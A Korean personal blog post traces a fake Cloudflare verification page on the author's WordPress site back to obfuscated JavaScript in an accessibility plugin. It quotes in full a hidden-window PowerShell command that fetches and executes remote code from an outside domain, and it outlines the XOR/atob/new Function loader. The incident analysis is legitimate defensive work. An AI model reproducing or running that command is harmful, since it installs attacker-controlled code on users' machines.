개인 서버에서 이상한 코드가 실행된 것을 발견했다
최근 개인 서버에서 운영하고 있는 블로그에 접속하다가 이상한 화면을 하나 발견했다.

갑자기 Cloudflare 인증 페이지처럼 생긴 화면이 나왔다.
처음에는 Cloudflare 설정이나 도메인 쪽에 문제가 생긴 줄 알았다. 그런데 화면에서 요구하는 행동이 상당히 이상했다.
터미널을 열고 다음과 비슷한 명령어를 복사해서 실행하라는 내용이었다.
powershell -w h "iex(irm 'fingerprint-verification.info/2de893cd7dc609a3'); Start-Sleep -Seconds 7"; exit;
정상적인 인증 과정에서 터미널 명령어를 실행하라고 할 이유가 없다.
명령어는 실행하지 않고 개발자 도구부터 확인했다.
이상한 요청을 따라가 봤다

Network 탭을 확인해보니 페이지에서 api.php 요청이 발생하고 있었다.
(index)
-> JavaScript
-> api.php
-> fingerprint-verification.info
요청의 Initiator를 따라가면서 어떤 코드가 이 요청을 발생시키는지 확인했다.
그 과정에서 eval이 여러 번 등장했고, 외부에서 받아온 코드를 다시 실행하는 형태도 확인할 수 있었다.
여기서부터는 단순한 Cloudflare 오류는 아니라고 판단했다.
페이지 자체에 뭔가 들어가 있다고 생각하고 (index)의 JavaScript를 확인했다.
페이지에 난독화된 코드가 있었다
페이지 하단에서 상당히 이상한 JavaScript를 발견했다.

코드의 형태는 대략 이랬다.
(function() {
var x34a489 = 8070;
...
var _0x430ca217c5d8 = '';
for (...) {
_0x430ca217c5d8 += String.fromCharCode(...);
}
var _0xf9f2b303777f3 = atob(_0x430ca217c5d8);
var _code = '';
for (...) {
_code += String.fromCharCode(...);
}
(new Function(_code))();
})();
코드가 그대로 내용을 보여주는 방식이 아니었다.
문자열을 만들고, XOR 연산을 하고, atob()으로 디코딩한 뒤 최종적으로 new Function()을 통해 코드를 실행하고 있었다.
흐름으로 보면:
난독화된 데이터 -> XOR -> 문자열 복원 -> Base64 디코딩 -> 다시 코드 생성 -> new Function() 실행
정상적인 웹사이트 코드에서 보기에는 상당히 수상한 형태였다.
그래서 이 코드가 어디에서 들어왔는지 확인하기로 했다.
서버에서 같은 코드를 검색했다
SSH로 서버에 접속해서 브라우저에서 확인한 문자열 중 하나를 검색했다.
grep -Rni "x34a489" /var/www 2>/dev/null
그런데 생각보다 쉽게 발견됐다.
/var/www/html/wp-content/plugins/wordpress-accessibility-plugin/wordpress-accessibility-plugin.php:20:var x34a489=8070;
/var/www/html/wp-content/plugins/wordpress-accessibility-plugin/wordpress-accessibility-plugin.php:21:if(x34a489>0)var y88fe18=x34a489-6443...
브라우저에서 실행되고 있던 코드가 실제 서버의 WordPress 플러그인 파일에 있었다.
문제의 파일은:
wp-content/plugins/wordpress-accessibility-plugin/wordpress-accessibility-plugin.php
였다.
처음에는 도메인이나 Cloudflare를 의심했지만, 실제로는 WordPress 플러그인에 들어 있는 코드가 페이지에 영향을 주고 있었다.
그런데 조금 이상했다
여기서 한 가지 생각이 들었다.
처음부터 누군가 서버에 침입해서 이 코드를 넣은 것일까?
지금까지 확인한 것만으로는 그렇게 단정하기 어려웠다.
오히려 현재 상황만 놓고 보면 원래 플러그인에 존재하던 코드가 특정 조건에서 실행된 것에 가깝다고 생각한다.
아직 파일의 수정 시점이나 원본 플러그인과의 비교까지 끝낸 것은 아니기 때문에 변조라고 단정할 이유도 없다.
내가 확인한 것은 어디까지나:
플러그인 파일
-> 해당 JavaScript 존재
-> 특정 조건에서 실행
-> 외부 서버 요청
-> 이상한 페이지 출력
라는 사실이다.
즉 이번 일을 단순히 “서버가 해킹당했다”고 결론내리기보다는 평소에는 실행되지 않던 코드가 어떤 조건을 만족하면서 실행된 사건으로 보고 조사하고 있다.
로그인 상태에서는 문제가 없었다
이 부분도 꽤 특이했다.
로그인한 상태에서는 해당 페이지가 나타나지 않았다.
반대로 로그아웃한 상태에서는 문제가 발생했다.
그래서 처음에는 캐시 문제도 생각해봤다.
하지만 Network와 Sources를 확인하면서 실제 페이지에 특정 JavaScript가 포함되어 있다는 것을 확인했고, 그 코드가 플러그인 파일에 존재한다는 것까지 확인했다.
현재로서는 플러그인 내부에 비로그인 사용자 등을 대상으로 동작하는 조건이 있었을 가능성을 보고 있다.
흐름을 정리하면:
로그인 상태 -> 해당 조건 불충족 -> 정상 페이지
로그아웃 상태 -> 조건 충족 -> JavaScript 실행 -> 외부 요청 -> 이상한 페이지
정확한 조건은 플러그인 코드를 더 확인해야 한다.
SSH도 같이 확인했다
플러그인에서 이런 코드를 발견했으니 서버 계정까지 문제가 있는지도 확인해봤다.
현재 SSH 계정은 wayhope다.
id
결과는:
uid=1000(wayhope)
gid=1000(wayhope)
groups=1000(wayhope),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
일반 사용자 계정이고 sudo 권한이 있는 상태였다.
SSH 인증 로그도 확인했다.
sudo grep "Accepted" /var/log/auth.log | tail -50
실제 인증 성공 기록이 있었지만, 확인된 IP가 내가 사용한 IP와 일치하는지 비교해보는 작업이 필요했다.
한편 이런 로그도 반복해서 발견됐다.
userauth_pubkey: signature algorithm ssh-rsa not in PubkeyAcceptedAlgorithms [preauth]
처음에는 이것도 침입 흔적인가 싶었다.
그런데 [preauth]가 붙어 있고 실제 인증 성공 기록이 아니었다.
서버에 SSH 접속을 시도했지만 ssh-rsa 알고리즘이 허용되지 않아 인증 과정에서 거부된 것이다.
일정한 간격으로 반복되는 것을 보면 자동화된 SSH 접속 시도일 가능성이 높아 보인다.
현재까지는 이 로그를 근거로 SSH 계정이 탈취됐다고 판단하지 않고 있다.
지금까지 확인한 흐름
현재까지 조사한 내용을 정리하면 이렇다.
이상한 Cloudflare 페이지 발견
-> 터미널 명령 실행 유도 확인
-> Network에서 api.php 요청 발견
-> Initiator 추적
-> (index)에서 난독화된 JavaScript 발견
-> 코드 일부를 서버에서 검색
-> wordpress-accessibility-plugin.php에서 동일 코드 발견
-> 플러그인의 코드가 특정 조건에서 실행된 것으로 추정
이번에 확인한 것 중 가장 중요한 부분은 문제가 발생한 화면 자체가 아니라 그 화면을 만들어낸 코드의 위치를 찾았다는 것이다.
처음에는 Cloudflare 문제라고 생각했다.
그 다음에는 도메인 문제일 수도 있다고 생각했다.
하지만 실제로 요청을 하나씩 따라가다 보니 WordPress 플러그인까지 도달했다.
아직 확인할 부분
현재는 원인을 어느 정도 좁힌 상태지만 아직 끝난 것은 아니다.
확인해야 할 것은 크게 세 가지다.
플러그인 원본 코드와 비교
-> 해당 코드가 원래부터 존재했는지 확인
파일 수정 시간 확인
-> 최근에 변조된 흔적이 있는지 확인
코드의 조건 확인
-> 어떤 상황에서 외부 요청을 발생시키는지 확인
특히 원본 플러그인에도 동일한 코드가 존재한다면 이야기가 달라진다.
그 경우에는 서버 침해를 전제로 보기보다 기존에 존재하던 코드가 특정 조건에서 활성화된 것으로 보는 게 맞다.
반대로 원본에는 없는 코드라면 그때는 파일 변조 가능성을 다시 조사해야 한다.
현재 단계에서 내가 확실하게 말할 수 있는 건 하나다.
이상한 Cloudflare 페이지는 실제 Cloudflare가 만든 페이지가 아니었고, WordPress 플러그인에 존재하는 JavaScript가 실행되면서 발생한 현상으로 보인다.
그리고 그 JavaScript는 외부 서버에서 api.php를 호출하고, 최종적으로 사용자가 PowerShell 명령을 실행하도록 유도하는 흐름을 가지고 있었다.
일단 명령어는 실행하지 않았다.
다음으로는 이 코드가 언제부터 존재했는지, 그리고 정확히 어떤 조건에서 실행되는지를 확인해볼 예정이다.
이번 건은 단순히 악성 코드를 발견했다는 것보다, 브라우저에서 발생한 이상 현상을 역으로 추적해서 서버의 실제 코드까지 찾아가는 과정 자체가 꽤 흥미로운 사례였다.